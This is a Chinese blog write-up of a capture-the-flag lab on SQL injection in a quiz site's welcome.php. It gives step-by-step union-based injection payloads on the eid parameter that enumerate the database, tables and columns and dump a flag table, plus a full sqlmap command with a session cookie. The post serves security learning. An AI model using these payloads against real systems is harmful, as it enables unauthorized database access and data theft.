1.阅读靶场介绍

这里的关键信息就在welcome.php中存在SQL注入
但是我感觉不够详细
于是
我去找了一虾度娘

在这里我们能得到路径和注入的参数
废话不多说,直接单刀直入
2.启动靶场
我们可以得到如下的页面

这里博主可以分享一下一些经验,这个页面如何测试SQL注入?
第一我们可以看看url是否有哪些什么=的参数出现
第二就是我们拿捏不准的时候就去爆破后台就对了
这里我们点击login
会出现如下页面

这里博主尝试了很多次弱口令,没有成功爆破得到后台,
正常来说这个时候,我们就是bp爆破的,但是博主看到了注册
所以,节约时间成本
接下来我打算直接去注册看看能不能找到新大陆

注册完登入的界面如下

这里我们能看到就是url出现了注入的参数q=1
这种url是有机会sql注入的,但是因该不可以成功因为不是上面提到的eid这个参数
接下来就是想办法去找eid这个参数,再去测试sql
这里博主点击了start

然后在url就出现eid这个参数了
接下来就是对参数进行测试
其实这个靶场有两种注入的方式
手注和sqlmap都是可以的
这里博主先讲讲手注的方式
首先就是抓住start的包,
然后这里博主从1测到了6
发现6出了问题
我的测试语句是这样的
60377db362694'+order+by+5%23
存在字符注入点,而且有回显,可以用union联合查询,确定有5列

第六列是这样的

这里的意思是

接下来就是爆装备了哈哈哈
第一是执行这个
5b141b8009cf0'+union+select+1,2,group_concat(database(),version()),4,5%23
这里我们可以得到的是在三号位置出现数据库名称和版本类型

第二执行这个
eid=5b141b8009cf0'+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()%23
这里我们可以得到
数据库的所有表名

第三个我们执行这个eid=5b141b8009cf0'+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name='flag'%23
这里我们可以得到flag这个表有什么字段

最后我们执行这个
eid=5b141b8009cf0'+union+select+1,2,group_concat(flag),4,5+from+flag%23
就可以找到flag的具体内容

到此手注就完成了
这里博主也分享一下sqlmap的玩法
sqlmap.py -u "https://eci-2ze138oygnc0neyxqsgt.cloudeci1.ichunqiu.com:80/welcome.php?q=quiz\&step=2\&eid=60377db362694\&n=1\&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0" --cookie="PHPSESSID=rr0qnind4tpkntds3du6fsu1p8" --batch
这里博主慢慢的讲一下每个参数的意思
--batch就是自动的意思.
这里的--user-agent就是用户使用的浏览器引擎的意思
这里的--cookie是身份验证需要的值的意思
-p是指定参数去注入

最后出来的结果是这样的

他存在四种sql注入的方式
接下来我们先爆库,在后面添加--dbs,前面的保持不变

这里我们爆出来的结果

目前一看感觉flag在ctf中,接下来是爆表
把语句修改成这样,就可以得到ctf这个库的所有表名

这个是我们爆出来的结果

接下来就是直接查flag这个表的全部内容了

这个就是我们得到的全部内容

到此,文章也接近尾声了
期待博主打什么靶场的欢迎留言哟
期待你们的点赞关注,你的支持是我最大的动力
感谢你们宝贵的时间